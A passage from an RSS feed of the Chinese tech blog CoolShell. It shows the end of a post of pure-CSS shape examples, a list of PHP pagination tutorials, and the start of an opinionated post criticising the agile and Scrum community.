class=\"shape\">\n<h5>六角星形</h5>\n<div id=\"star-six\"></div>\n<style contenteditable> \n#star-six {\n\twidth: 0;\n\theight: 0;\n\tborder-left: 50px solid transparent;\n\tborder-right: 50px solid transparent;\n\tborder-bottom: 100px solid #f66;\n\tposition: relative;\n        margin: 20px 0px 50px 20px;\n}\n#star-six:after {\n\twidth: 0;\n\theight: 0;\n\tborder-left: 50px solid transparent;\n\tborder-right: 50px solid transparent;\n\tborder-top: 100px solid #f66;\n\tposition: absolute;\n\tcontent: \"\";\n\ttop: 30px;\n\tleft: -50px;\n}\n            </style>\n</p>\n</div>\n<div class=\"shape\">\n<h5>五角星形 <a href=\"http://kitmacallister.com/2011/css-only-5-point-star/\">via Kit MacAllister</a></h5>\n<div id=\"star-five\"></div>\n<style contenteditable> \n#star-five {\n   margin: 80px 0;\n   position: relative;\n   display: block;\n   color: #f66;\n   width: 0px;\n   height: 0px;\n   border-right:  100px solid transparent;\n   border-bottom: 70px  solid #f66;\n   border-left:   100px solid transparent;\n   -moz-transform:    rotate(35deg);\n   -webkit-transform: rotate(35deg);\n   -ms-transform:     rotate(35deg);\n   -o-transform:      rotate(35deg);\n}\n#star-five:before {\n   border-bottom: 80px solid #f66;\n   border-left: 30px solid transparent;\n   border-right: 30px solid transparent;\n   position: absolute;\n   height: 0;\n   width: 0;\n   top: -45px;\n   left: -65px;\n   display: block;\n   content: '';\n   -webkit-transform: rotate(-35deg);\n   -moz-transform:    rotate(-35deg);\n   -ms-transform:     rotate(-35deg);\n   -o-transform:      rotate(-35deg);\n}\n#star-five:after {\n   position: absolute;\n   display: block;\n   color: #f66;\n   top: 3px;\n   left: -105px;\n   width: 0px;\n   height: 0px;\n   border-right: 100px solid transparent;\n   border-bottom: 70px solid #f66;\n   border-left: 100px solid transparent;\n   -webkit-transform: rotate(-70deg);\n   -moz-transform:    rotate(-70deg);\n   -ms-transform:     rotate(-70deg);\n   -o-transform:      rotate(-70deg);\n   content: '';\n}\n            </style>\n</p>\n</div>\n<div class=\"shape\">\n<h5>五边形</h5>\n<div id=\"pentagon\"></div>\n<style contenteditable> \n#pentagon {\n    position: relative;\n    width: 54px;\n    border-width: 50px 18px 0;\n    border-style: solid;\n    border-color: #f66 transparent;\n    margin: 50px 0px 20px 20px;\n}\n#pentagon:before {\n    content: \"\";\n    position: absolute;\n    height: 0;\n    width: 0;\n    top: -85px;\n    left: -18px;\n    border-width: 0 45px 35px;\n    border-style: solid;\n    border-color: transparent transparent #f66;\n}\n            </style>\n</p>\n</div>\n<div class=\"shape\">\n<h5>六边形</h5>\n<div id=\"hexagon\"></div>\n<style contenteditable> \n#hexagon {\n\twidth: 100px;\n\theight: 55px;\n\tbackground: #f66;\n\tposition: relative;\n        margin: 50px 0px 50px 20px;\n}\n#hexagon:before {\n\tcontent: \"\";\n\tposition: absolute;\n\ttop: -25px; \n\tleft: 0;\n\twidth: 0;\n\theight: 0;\n\tborder-left: 50px solid transparent;\n\tborder-right: 50px solid transparent;\n\tborder-bottom: 25px solid #f66;\n}\n#hexagon:after {\n\tcontent: \"\";\n\tposition: absolute;\n\tbottom: -25px; \n\tleft: 0;\n\twidth: 0;\n\theight: 0;\n\tborder-left: 50px solid transparent;\n\tborder-right: 50px solid transparent;\n\tborder-top: 25px solid #f66;\n}</style>\n</div>\n<div class=\"shape\">\n<h5>八边形</h5>\n<div id=\"octagon\"></div>\n<style contenteditable> \n#octagon {\n\twidth: 100px;\n\theight: 100px;\n\tbackground: #f66;\n\tposition: relative;\n}\n#octagon:before {\n\tcontent: \"\";\n\tposition: absolute;\n\ttop: 0;\n\tleft: 0;    \n\tborder-bottom: 29px solid #f66;\n\tborder-left: 29px solid #fff;\n\tborder-right: 29px solid #fff;\n\twidth: 42px;\n\theight: 0;\n}\n#octagon:after {\n\tcontent: \"\";\n\tposition: absolute;\n\tbottom: 0;\n\tleft: 0;    \n\tborder-top: 29px solid #f66;\n\tborder-left: 29px solid #fff;\n\tborder-right: 29px solid #fff;\n\twidth: 42px;\n\theight: 0;\n}\n            </style>\n</p>\n</div>\n<div class=\"shape\">\n<h5>心形 <a href=\"http://nicolasgallagher.com/\">via Nicolas Gallagher</a></h5>\n<div id=\"heart\"></div>\n<style contenteditable> \n#heart {\n    position: relative;\n    width: 100px;\n    height: 90px;\n}\n#heart:before,\n#heart:after {\n    position: absolute;\n    content: \"\";\n    left: 50px;\n    top: 0;\n    width: 50px;\n    height: 80px;\n    background: #f66;\n    -moz-border-radius: 50px 50px 0 0;\n    border-radius: 50px 50px 0 0;\n    -webkit-transform: rotate(-45deg);\n       -moz-transform: rotate(-45deg);\n        -ms-transform: rotate(-45deg);\n         -o-transform: rotate(-45deg);\n            transform: rotate(-45deg);\n    -webkit-transform-origin: 0 100%;\n       -moz-transform-origin: 0 100%;\n        -ms-transform-origin: 0 100%;\n         -o-transform-origin: 0 100%;\n            transform-origin: 0 100%;\n}\n#heart:after {\n    left: 0;\n    -webkit-transform: rotate(45deg);\n       -moz-transform: rotate(45deg);\n        -ms-transform: rotate(45deg);\n         -o-transform: rotate(45deg);\n            transform: rotate(45deg);\n    -webkit-transform-origin: 100% 100%;\n       -moz-transform-origin: 100% 100%;\n        -ms-transform-origin: 100% 100%;\n         -o-transform-origin: 100% 100%;\n            transform-origin :100% 100%;\n}\n</style>\n</p>\n</div>\n<div class=\"shape\">\n<h5>无穷大 <a href=\"http://nicolasgallagher.com/\">via Nicolas Gallagher</a></h5>\n<div id=\"infinity\"></div>\n<style contenteditable> \n#infinity {\n    position: relative;\n    width: 212px;\n    height: 100px;\n}\n#infinity:before,\n#infinity:after {\n    content: \"\";\n    position: absolute;\n    top: 0;\n    left: 0;\n    width: 60px;\n    height: 60px;    \n    border: 20px solid #f66;\n    -moz-border-radius: 50px 50px 0 50px;\n         border-radius: 50px 50px 0 50px;\n    -webkit-transform: rotate(-45deg);\n       -moz-transform: rotate(-45deg);\n        -ms-transform: rotate(-45deg);\n         -o-transform: rotate(-45deg);\n            transform: rotate(-45deg);\n}\n#infinity:after {\n    left: auto;\n    right: 0;\n    -moz-border-radius: 50px 50px 50px 0;\n         border-radius: 50px 50px 50px 0;\n    -webkit-transform: rotate(45deg);\n       -moz-transform: rotate(45deg);\n        -ms-transform: rotate(45deg);\n         -o-transform: rotate(45deg);\n            transform: rotate(45deg);\n}</style>\n</p>\n</div>\n<div class=\"shape\">\n<h5>菱形</h5>\n<div id=\"diamond\"></div>\n<style scoped contenteditable> \n#diamond {\n   width: 80px; \n   height: 80px; \n   background: #f66;\n   margin: 50px 20px 20px 60px;\n   -webkit-transform: rotate(-45deg);\n   -moz-transform:    rotate(-45deg);\n   -ms-transform:     rotate(-45deg);\n   -o-transform: rotate(-45deg);\n   transform: rotate(-45deg);\n   -webkit-transform-origin: 0 100%;\n   -moz-transform-origin: 0 100%;\n   -ms-transform-origin: 0 100%;\n   -o-transform-origin: 0 100%;\n   transform-origin: 0 100%;\n}</style>\n</p>\n</div>\n<div class=\"shape\">\n<h5>鸡蛋</h5>\n<div id=\"egg\"></div>\n<style scoped contenteditable> \n#egg {\n   display:block;\n   width: 126px; \n   height: 180px;\n   background-color: #f66;\n   -webkit-border-radius: 63px 63px 63px 63px / 108px 108px 72px 72px;\n   border-radius:        50%   50%  50%  50%  / 60%   60%   40%  40%;\n}</style>\n</p>\n</div>\n<div class=\"shape\">\n<h5>吃豆人</h5>\n<div id=\"pacman\"></div>\n<style scoped contenteditable> \n#pacman {\n  width: 0px;\n  height: 0px;\n  border-right: 60px solid transparent;\n  border-top: 60px solid #f66;\n  border-left: 60px solid #f66;\n  border-bottom: 60px solid #f66;\n  border-top-left-radius: 60px;\n  border-top-right-radius: 60px;\n  border-bottom-left-radius: 60px;\n  border-bottom-right-radius: 60px;\n}</style>\n</p>\n</div>\n<div class=\"shape\">\n<h5>说话泡泡</h5>\n<div id=\"talkbubble\"></div>\n<style scoped contenteditable> \n#talkbubble {\n   width: 120px; \n   height: 80px; \n   background: #f66;\n   position: relative;\n   -moz-border-radius:    10px; \n   -webkit-border-radius: 10px; \n   border-radius:         10px;\n}\n#talkbubble:before {\n   content:\"\";\n   position: absolute;\n   right: 100%;\n   top: 26px;\n   width: 0;\n   height: 0;\n   border-top: 13px solid transparent;\n   border-right: 26px solid #f66;\n   border-bottom: 13px solid transparent;\n}</style>\n</p>\n</div>\n<div class=\"shape\">\n<h5>12星形 <a href=\"http://commondream.net/post/8848553728/pure-css-badges\">via Alan Johnson</a></h5>\n<div id=\"burst-12\"></div>\n<style scoped contenteditable> \n#burst-12 {\n    background: #f66;\n    width: 80px;\n    height: 80px;\n    position: relative;\n    text-align: center;\n}\n#burst-12:before, #burst-12:after {\n    content: \"\";\n    position: absolute;\n    top: 0;\n    left: 0;\n    height: 80px;\n    width: 80px;\n    background: #f66;\n}\n#burst-12:before {\n    -webkit-transform: rotate(30deg);\n       -moz-transform: rotate(30deg);\n        -ms-transform: rotate(30deg);\n         -o-transform: rotate(30deg);\n            transform: rotate(30deg);\n}\n#burst-12:after {\n    -webkit-transform: rotate(60deg);\n       -moz-transform: rotate(60deg);\n        -ms-transform: rotate(60deg);\n         -o-transform: rotate(60deg);\n            transform: rotate(60deg);\n}</style>\n</p>\n</div>\n<div class=\"shape\">\n<h5>8星形 <a href=\"http://commondream.net/post/8848553728/pure-css-badges\">via Alan Johnson</a></h5>\n<div id=\"burst-8\"></div>\n<style scoped contenteditable> \n#burst-8 {\n    background: #f66;\n    width: 80px;\n    height: 80px;\n    position: relative;\n    text-align: center;\n    -webkit-transform: rotate(20deg);\n       -moz-transform: rotate(20deg);\n        -ms-transform: rotate(20deg);\n         -o-transform: rotate(20eg);\n            transform: rotate(20deg);\n}\n#burst-8:before {\n    content: \"\";\n    position: absolute;\n    top: 0;\n    left: 0;\n    height: 80px;\n    width: 80px;\n    background: #f66;\n    -webkit-transform: rotate(135deg);\n       -moz-transform: rotate(135deg);\n        -ms-transform: rotate(135deg);\n         -o-transform: rotate(135deg);\n            transform: rotate(135deg);\n}</style>\n</div>\n<p>(全文完)</p>\n<p><!--\n\n\n\n<p align=\"center\"><a href= target=_blank><img decoding=\"async\" src=\"\"></a></p>\n\n\n\n\n\n<p align=\"center\"><img decoding=\"async\" src=\"https://coolshell.cn/wp-content/uploads/2020/03/coolshell.weixin.jpg\"> <img decoding=\"async\" loading=\"lazy\" src=\"https://coolshell.cn/wp-content/uploads/2020/03/coolshell.mini_.jpg\" width=\"300\" height=\"300\"> <br />关注CoolShell微信公众账号和微信小程序</p>\n\n \n\n--></p>\n<div style=\"margin-top: 15px; font-size: 16px;color: #cc0000;\">\n<p align=\"center\"><strong>（转载本站文章请注明作者和出处 <a href=\"https://coolshell.cn/\">酷 壳 &#8211; CoolShell</a> ，请勿用于任何商业用途）</strong></p>\n</div>\n\n<div class=\"wp_rp_wrap  wp_rp_vertical_m\" ><div class=\"wp_rp_content\"><h3 class=\"related_post_title\">相关文章</h3><ul class=\"related_post wp_rp\"><li ><a href=\"https://coolshell.cn/articles/17634.html\" class=\"wp_rp_thumbnail\"><img src=\"https://coolshell.cn/wp-content/uploads/2017/01/pretty-code-150x150.gif\" alt=\"Chrome开发者工具的小技巧\" width=\"150\" height=\"150\" /></a><a href=\"https://coolshell.cn/articles/17634.html\" class=\"wp_rp_title\">Chrome开发者工具的小技巧</a></li><li ><a href=\"https://coolshell.cn/articles/9666.html\" class=\"wp_rp_thumbnail\"><img src=\"https://coolshell.cn/wp-content/uploads/2013/05/Render-Process-150x150.jpg\" alt=\"浏览器的渲染原理简介\" width=\"150\" height=\"150\" /></a><a href=\"https://coolshell.cn/articles/9666.html\" class=\"wp_rp_title\">浏览器的渲染原理简介</a></li><li ><a href=\"https://coolshell.cn/articles/6913.html\" class=\"wp_rp_thumbnail\"><img src=\"https://coolshell.cn/wp-content/plugins/wordpress-23-related-posts-plugin/static/thumbs/10.jpg\" alt=\"神奇的CSS形状 \" width=\"150\" height=\"150\" /></a><a href=\"https://coolshell.cn/articles/6913.html\" class=\"wp_rp_title\">神奇的CSS形状 </a></li><li ><a href=\"https://coolshell.cn/articles/6840.html\" class=\"wp_rp_thumbnail\"><img src=\"https://coolshell.cn/wp-content/uploads/2012/03/css-layouts-150x150.gif\" alt=\"CSS 布局:40个教程、技巧、例子和最佳实践\" width=\"150\" height=\"150\" /></a><a href=\"https://coolshell.cn/articles/6840.html\" class=\"wp_rp_title\">CSS 布局:40个教程、技巧、例子和最佳实践</a></li><li ><a href=\"https://coolshell.cn/articles/6043.html\" class=\"wp_rp_thumbnail\"><img src=\"https://coolshell.cn/wp-content/plugins/wordpress-23-related-posts-plugin/static/thumbs/30.jpg\" alt=\"Web开发中需要了解的东西\" width=\"150\" height=\"150\" /></a><a href=\"https://coolshell.cn/articles/6043.html\" class=\"wp_rp_title\">Web开发中需要了解的东西</a></li><li ><a href=\"https://coolshell.cn/articles/3903.html\" class=\"wp_rp_thumbnail\"><img src=\"https://coolshell.cn/wp-content/plugins/wordpress-23-related-posts-plugin/static/thumbs/14.jpg\" alt=\"一些有意思的贴子和工具\" width=\"150\" height=\"150\" /></a><a href=\"https://coolshell.cn/articles/3903.html\" class=\"wp_rp_title\">一些有意思的贴子和工具</a></li></ul></div></div>The post <a href=\"https://coolshell.cn/articles/5164.html\">CSS图形</a> first appeared on <a href=\"https://coolshell.cn\">酷 壳 - CoolShell</a>.]]></content:encoded>\n\t\t\t\t\t\n\t\t\t\t\t<wfw:commentRss>https://coolshell.cn/articles/5164.html/feed</wfw:commentRss>\n\t\t\t<slash:comments>48</slash:comments>\n\t\t\n\t\t\n\t\t\t</item>\n\t\t<item>\n\t\t<title>PHP分页技术的代码和示例</title>\n\t\t<link>https://coolshell.cn/articles/5160.html</link>\n\t\t\t\t\t<comments>https://coolshell.cn/articles/5160.html#comments</comments>\n\t\t\n\t\t<dc:creator><![CDATA[陈皓]]></dc:creator>\n\t\t<pubDate>Sun, 14 Aug 2011 06:49:22 +0000</pubDate>\n\t\t\t\t<category><![CDATA[PHP脚本]]></category>\n\t\t<category><![CDATA[杂项资源]]></category>\n\t\t<category><![CDATA[编程语言]]></category>\n\t\t<category><![CDATA[Pagination]]></category>\n\t\t<category><![CDATA[PHP]]></category>\n\t\t<guid isPermaLink=\"false\">http://coolshell.cn/?p=5160</guid>\n\n\t\t\t\t\t<description><![CDATA[<p>本文来自：10 Helpful PHP Pagination Scripts For Web Developers 分页是目前在显示大量结果时所采用的最好的方式...</p>\n<p class=\"read-more\"><a class=\"btn btn-default\" href=\"https://coolshell.cn/articles/5160.html\"> Read More<span class=\"screen-reader-text\">  Read More</span></a></p>\nThe post <a href=\"https://coolshell.cn/articles/5160.html\">PHP分页技术的代码和示例</a> first appeared on <a href=\"https://coolshell.cn\">酷 壳 - CoolShell</a>.]]></description>\n\t\t\t\t\t\t\t\t\t\t<content:encoded><![CDATA[<p><script async src=\"https://pagead2.googlesyndication.com/pagead/js/adsbygoogle.js?client=ca-pub-3415450859608158\"\n     crossorigin=\"anonymous\"></script>本文来自：<a href=\"http://zoomzum.com/php-pagination-scripts/\" target=\"_blank\">10 Helpful PHP Pagination Scripts For Web Developers</a></p>\n<p>分页是目前在显示大量结果时所采用的最好的方式。有了下面这些代码的帮助，开发人员可以在多个页面中显示大量的数据。在互联网上，分​页是一般用于搜索结果或是浏览全部信息（比如：一个论坛主题）。几乎在每一个Web应用程序都需要划分返回的数据，并按页显示。下面的这个列表给出的代码可以让你的开发很有帮助。<strong>学习这些代码，对于初学者也很有帮助</strong>。</p>\n<h4>1)<a href=\"http://www.9lessons.info/2010/10/pagination-with-jquery-php-ajax-and.html\"> 使用Ajax分页</a></h4>\n<p>&nbsp;</p>\n<p>&nbsp;</p>\n<p style=\"text-align: left;\">下面这个示例使用了jQuery + PHP。 <a href=\"http://demos.9lessons.info/pagination/pagination.php\">Demo link</a></p>\n<p style=\"text-align: center;\"><img decoding=\"async\" loading=\"lazy\" class=\"aligncenter size-full wp-image-2512\" title=\"Pagination\" src=\"http://zoomzum.com/wp-content/uploads/2011/08/Pagination-e1312791884744.jpg\" alt=\"\" width=\"500\" height=\"340\" /></p>\n<p style=\"text-align: left;\"><span id=\"more-5160\"></span></p>\n<h4>2) <a href=\"http://php.about.com/od/phpwithmysql/ss/php_pagination.htm\">MySql 分页</a></h4>\n<p>&nbsp;</p>\n<p style=\"text-align: left;\">数据库的分页处理。</p>\n<p style=\"text-align: center;\"><img decoding=\"async\" loading=\"lazy\" class=\"aligncenter size-full wp-image-2523\" title=\"PHP-Pagination\" src=\"http://zoomzum.com/wp-content/uploads/2011/08/PHP-Pagination1-e1312794857680.jpg\" alt=\"\" width=\"500\" height=\"138\" /></p>\n<h4>3)<a href=\"http://youhack.me/2010/05/14/an-alternative-to-pagination-facebook-and-twitter-style/\"> Facebook/Twitter 风格的分页</a></h4>\n<p style=\"text-align: center;\"><img decoding=\"async\" loading=\"lazy\" title=\"twitter-pagination\" src=\"http://zoomzum.com/wp-content/uploads/2011/08/twitter-pagination-e1312792153888.png\" alt=\"\" width=\"500\" height=\"350\" /></p>\n<h4>4)<a href=\"http://www.phpeasystep.com/phptu/29.html\"> Php &amp; MySql 分页</a></h4>\n<p style=\"text-align: center;\"><img decoding=\"async\" loading=\"lazy\" class=\"aligncenter size-full wp-image-2514\" title=\"PHP Pagination\" src=\"http://zoomzum.com/wp-content/uploads/2011/08/PHP-Pagination-e1312792516937.jpg\" alt=\"\" width=\"550\" height=\"108\" /></p>\n<h4>5)<a href=\"http://www.bitrepository.com/css-stylish-pagination-links.html\"> 分页风格</a></h4>\n<p>&nbsp;</p>\n<p style=\"text-align: left;\">一个简单的教程教你如何用CSS定义不同风格的分页。</p>\n<p><img decoding=\"async\" loading=\"lazy\" class=\"aligncenter size-full wp-image-2515\" title=\"CSS Pagination\" src=\"http://zoomzum.com/wp-content/uploads/2011/08/CSS-Pagination-e1312792632740.jpg\" alt=\"\" width=\"550\" height=\"242\" /></p>\n<h4>6) <a href=\"http://phpsense.com/php/php-pagination-script.html\" target=\"_blank\">PHP 分页类</a></h4>\n<p>&nbsp;</p>\n<p style=\"text-align: left;\">一个PHP的分页类</p>\n<p><img decoding=\"async\" loading=\"lazy\" class=\"aligncenter size-full wp-image-2524\" title=\"PHP Pagination Script\" src=\"http://zoomzum.com/wp-content/uploads/2011/08/PHP-Pagination%C2%A0Script-e1312795287434.jpg\" alt=\"\" width=\"500\" height=\"310\" /></p>\n<h4>7)<a href=\"http://www.phpeasycode.com/pagination/\"> Easy Pagination</a></h4>\n<p>这是一个PHP库，可以让你更容易的做分页。<br />\n<img decoding=\"async\" loading=\"lazy\" class=\"aligncenter size-full wp-image-2516\" title=\"php easy code\" src=\"http://zoomzum.com/wp-content/uploads/2011/08/php-easy-code.jpg\" alt=\"\" width=\"515\" height=\"384\" /></p>\n<h4>8 ) <a href=\"http://www.phpfreaks.com/tutorial/basic-pagination\">基本分页</a></h4>\n<p>&nbsp;</p>\n<p style=\"text-align: left;\">一个很不错简单易懂的分页教程。</p>\n<p style=\"text-align: center;\"><img decoding=\"async\" loading=\"lazy\" class=\"aligncenter size-full wp-image-2518\" title=\"Pagination Script and Tutorial\" src=\"http://zoomzum.com/wp-content/uploads/2011/08/Pagination-Script-and-Tutorial-e1312793432650.jpg\" alt=\"\" width=\"550\" height=\"178\" /></p>\n<h4>9)<a href=\"http://www.developphp.com/view_lesson.php?v=289\"> Php Page</a></h4>\n<h3></h3>\n<p style=\"text-align: left;\">一个简单的PHP的教程</p>\n<p style=\"text-align: center;\"><img decoding=\"async\" loading=\"lazy\" class=\"aligncenter size-full wp-image-2519\" title=\"PHP Freaks\" src=\"http://zoomzum.com/wp-content/uploads/2011/08/PHP-Freaks-e1312793481308.jpg\" alt=\"\" width=\"550\" height=\"161\" /></p>\n<h4 style=\"text-align: left;\">10) <a href=\"http://www.sitepoint.com/perfect-php-pagination/\" target=\"_blank\">perfect-php-pagination</a></h4>\n<p>&nbsp;</p>\n<p style=\"text-align: left;\">也是一个分页教程。</p>\n<p style=\"text-align: center;\"><img decoding=\"async\" loading=\"lazy\" class=\"aligncenter size-full wp-image-2525\" title=\"Perfect PHP Pagination\" src=\"http://zoomzum.com/wp-content/uploads/2011/08/Perfect-PHP-Pagination.jpg\" alt=\"\" width=\"436\" height=\"221\" /></p>\n<p style=\"text-align: left;\">（全文完）</p>\n<p><!--\n\n\n\n<p align=\"center\"><a href= target=_blank><img decoding=\"async\" src=\"\"></a></p>\n\n\n\n\n\n<p align=\"center\"><img decoding=\"async\" src=\"https://coolshell.cn/wp-content/uploads/2020/03/coolshell.weixin.jpg\"> <img decoding=\"async\" loading=\"lazy\" src=\"https://coolshell.cn/wp-content/uploads/2020/03/coolshell.mini_.jpg\" width=\"300\" height=\"300\"> <br />关注CoolShell微信公众账号和微信小程序</p>\n\n \n\n--></p>\n<div style=\"margin-top: 15px; font-size: 16px;color: #cc0000;\">\n<p align=\"center\"><strong>（转载本站文章请注明作者和出处 <a href=\"https://coolshell.cn/\">酷 壳 &#8211; CoolShell</a> ，请勿用于任何商业用途）</strong></p>\n</div>\n\n<div class=\"wp_rp_wrap  wp_rp_vertical_m\" ><div class=\"wp_rp_content\"><h3 class=\"related_post_title\">相关文章</h3><ul class=\"related_post wp_rp\"><li ><a href=\"https://coolshell.cn/articles/7886.html\" class=\"wp_rp_thumbnail\"><img src=\"https://coolshell.cn/wp-content/uploads/2012/07/muxnt-150x150.jpg\" alt=\"代码执行的效率\" width=\"150\" height=\"150\" /></a><a href=\"https://coolshell.cn/articles/7886.html\" class=\"wp_rp_title\">代码执行的效率</a></li><li ><a href=\"https://coolshell.cn/articles/5224.html\" class=\"wp_rp_thumbnail\"><img src=\"https://coolshell.cn/wp-content/uploads/2011/09/image008-150x150.jpg\" alt=\"一些文章和各种资源\" width=\"150\" height=\"150\" /></a><a href=\"https://coolshell.cn/articles/5224.html\" class=\"wp_rp_title\">一些文章和各种资源</a></li><li ><a href=\"https://coolshell.cn/articles/4795.html\" class=\"wp_rp_thumbnail\"><img src=\"https://coolshell.cn/wp-content/plugins/wordpress-23-related-posts-plugin/static/thumbs/7.jpg\" alt=\"开源中最好的Web开发的资源\" width=\"150\" height=\"150\" /></a><a href=\"https://coolshell.cn/articles/4795.html\" class=\"wp_rp_title\">开源中最好的Web开发的资源</a></li><li ><a href=\"https://coolshell.cn/articles/3684.html\" class=\"wp_rp_thumbnail\"><img src=\"https://coolshell.cn/wp-content/uploads/2011/02/1128-150x150.jpg\" alt=\"Web开发人员速查卡\" width=\"150\" height=\"150\" /></a><a href=\"https://coolshell.cn/articles/3684.html\" class=\"wp_rp_title\">Web开发人员速查卡</a></li><li ><a href=\"https://coolshell.cn/articles/2394.html\" class=\"wp_rp_thumbnail\"><img src=\"https://coolshell.cn/wp-content/plugins/wordpress-23-related-posts-plugin/static/thumbs/1.jpg\" alt=\"九个PHP很有用的功能\" width=\"150\" height=\"150\" /></a><a href=\"https://coolshell.cn/articles/2394.html\" class=\"wp_rp_title\">九个PHP很有用的功能</a></li><li ><a href=\"https://coolshell.cn/articles/2053.html\" class=\"wp_rp_thumbnail\"><img src=\"https://coolshell.cn/wp-content/plugins/wordpress-23-related-posts-plugin/static/thumbs/20.jpg\" alt=\"最为奇怪的程序语言的特性\" width=\"150\" height=\"150\" /></a><a href=\"https://coolshell.cn/articles/2053.html\" class=\"wp_rp_title\">最为奇怪的程序语言的特性</a></li></ul></div></div>The post <a href=\"https://coolshell.cn/articles/5160.html\">PHP分页技术的代码和示例</a> first appeared on <a href=\"https://coolshell.cn\">酷 壳 - CoolShell</a>.]]></content:encoded>\n\t\t\t\t\t\n\t\t\t\t\t<wfw:commentRss>https://coolshell.cn/articles/5160.html/feed</wfw:commentRss>\n\t\t\t<slash:comments>18</slash:comments>\n\t\t\n\t\t\n\t\t\t</item>\n\t\t<item>\n\t\t<title>在新浪微博上关于敏捷的一些讨论</title>\n\t\t<link>https://coolshell.cn/articles/5143.html</link>\n\t\t\t\t\t<comments>https://coolshell.cn/articles/5143.html#comments</comments>\n\t\t\n\t\t<dc:creator><![CDATA[陈皓]]></dc:creator>\n\t\t<pubDate>Fri, 12 Aug 2011 00:22:58 +0000</pubDate>\n\t\t\t\t<category><![CDATA[技术管理]]></category>\n\t\t<category><![CDATA[流程方法]]></category>\n\t\t<category><![CDATA[agile]]></category>\n\t\t<category><![CDATA[Scrum]]></category>\n\t\t<category><![CDATA[TDD]]></category>\n\t\t<guid isPermaLink=\"false\">http://coolshell.cn/?p=5143</guid>\n\n\t\t\t\t\t<description><![CDATA[<p>自从我发布了“Scrum为什么不行”，并被CSDN推成首页头条后，我在我的新浪微博上就经常被敏粉们@去讨论他们的一些话题。他们似乎想要从我这里听到一些不同的声音...</p>\n<p class=\"read-more\"><a class=\"btn btn-default\" href=\"https://coolshell.cn/articles/5143.html\"> Read More<span class=\"screen-reader-text\">  Read More</span></a></p>\nThe post <a href=\"https://coolshell.cn/articles/5143.html\">在新浪微博上关于敏捷的一些讨论</a> first appeared on <a href=\"https://coolshell.cn\">酷 壳 - CoolShell</a>.]]></description>\n\t\t\t\t\t\t\t\t\t\t<content:encoded><![CDATA[<p><script async src=\"https://pagead2.googlesyndication.com/pagead/js/adsbygoogle.js?client=ca-pub-3415450859608158\"\n     crossorigin=\"anonymous\"></script>自从我发布了“<a title=\"为什么Scrum不行？\" href=\"https://coolshell.cn/articles/5044.html\">Scrum为什么不行</a>”，并被CSDN推成首页头条后，我在我的新浪微博上就经常被敏粉们@去讨论他们的一些话题。<strong>他们似乎想要从我这里听到一些不同的声音，我很喜欢他们的这种态度，在这里先赞他们一个</strong>。既然，让我来评论他们的东西，我就不客气了，板砖自然是少不了的。 我觉得我在微博上的观点比较散，所以在这里做一个汇总。我在所有批评敏捷的文章里都重复说过我的立场，这里还要再说一遍，因为那群人很敏感——“<strong>我承认敏捷中有一些东西我是认可的，但对敏捷社区的推广和思维方式我持否定态度</strong>”。</p>\n<h4>敏捷词汇表</h4>\n<p>我被<a href=\"http://weibo.com/adamwu73\">@吴穹adam</a>邀请进入了一个<a href=\"http://q.weibo.com/852378?source=weibohome\" target=\"_blank\">敏捷词汇表的微群</a>，这个群就是想明确的定义一下敏捷的各种词汇，比如，他们想把TDD定义成就是UT。呵呵。我对这个群仅保持了30分钟的热度，我在里面发了一个“你们不想讨论技术吗？”的帖子，就再也不想关注了。因为我的观点如下：</p>\n<ul>\n<li>我不知道干这件事有什么意义。标准化还是洗脑？One World, One Agile?  &#8211;<strong> horse shit!</strong></li>\n<li>你能定义地好吗？定义好了大家都能干好了？ &#8211;<strong> 幼稚！</strong></li>\n<li>理解不同又有什么关系？价值观不同又能怎么样？为什么不能正视并接受世界的不同呢？ &#8211;  <strong>固执！</strong></li>\n</ul>\n<h4><strong>敏捷宣言</strong></h4>\n<p>我看到很多人又把《敏捷宣言》拿出来说事，就好象他们把敏捷宣言是软件开发的普世的价值观一样。我对此的评论是—— <span id=\"more-5143\"></span></p>\n<blockquote><p><a href=\"http://weibo.com/haoel\">@左耳朵耗子</a>：<span style=\"color: #0000ff;\">微博里多了很多《敏捷宣言》的话题，这让我想到了《共产党宣言》， 这两个组织里的某些人很相似，都通过宣言来树立价值观，然后通过传教的方式四处宣讲来影响大众吸收党羽，并要求对其价值观的信仰，还以一种革命者的态度来实践…… 建议程序员还是多研究技术细节，关注技术发展趋势，分析产品和用户需求。</span></p></blockquote>\n<h4>博文评论</h4>\n<p><a href=\"http://weibo.com/adamwu73\">@吴穹adam</a>发表了一篇《<a href=\"http://blog.csdn.net/adwu73/article/details/6677908\" target=\"_blank\">为什么纯粹的Scrum在中国很难落地（一）</a>》并欢迎我去拍砖。我拍了下面几块砖：</p>\n<ul>\n<li>看标题还以为要谈什么中国实际的问题，结果只是一些文章的读后感。没有实际价值。</li>\n<li>我对为什么在中国难落地的原因提了三条：</li>\n<ul>\n<li>你们总是想以Scrum为中心来改变实际情况和民众，而不是民众自发的。</li>\n<li>世界是不同的，多元的，这告诉我们不要死读书，读死书，更不能教条主义。</li>\n<li>世界是不完美的。有很多东西无法改变的，如人性，文化，政治…… 要学会接受并管理他们。</li>\n</ul>\n<li>我给<a href=\"http://weibo.com/adamwu73\">@吴穹adam</a>的建议——<strong>只有当你开始关注实际情况的时候，你才能真正成为一个实践者</strong>。</li>\n</ul>\n<p>看到在<a href=\"http://weibo.com/1880082254/xiWv9AShm\" target=\"_blank\">评论中</a>——</p>\n<blockquote><p> “<a href=\"http://weibo.com/n/%E5%BC%A0%E6%9D%83%E5%85%88%E7%94%9F\">@张权先生</a>：团队拒绝Coach，与敏捷实践缺乏统一认知有关，书籍、网上资料中，很多信息是不统一的，混乱的局面只能从信息源头抓起，规范术语、规范表述为好”。</p></blockquote>\n<p>我观点是：</p>\n<ul>\n<li>先得对大众洗脑，统一认识？和谐？</li>\n<li>一千个人有一千个哈姆雷特，认识不同又有何妨？</li>\n</ul>\n<p><a href=\"http://weibo.com/1949520867\">@蔡晓东_</a>发了一篇《<a href=\"http://weibo.com/1949520867/xiZRDCOr1\" target=\"_blank\">低层级的敏捷毫无意义，组织级敏捷才是敏捷的核心问题</a>》的长微博，也让我去讨论。我这样回复——“<span style=\"color: #cc0000;\"><strong>为什么你们一定要定义哪种软件开发是敏捷？哪种不是? 为什么一定要敏捷呢？做这个划分的目的是什么？是不是只有这样搞，某些组织某些人才有饭碗呢?</strong></span>”， 我希望敏捷社区的人能正面回答我这个问题。</p>\n<p>我的一个前同事回复到：</p>\n<blockquote><p><a href=\"http://weibo.com/n/ilinux\">@ilinux</a>:&#8221;低层级的敏捷毫无意义，组织级敏捷才是敏捷的核心问题&#8221;, 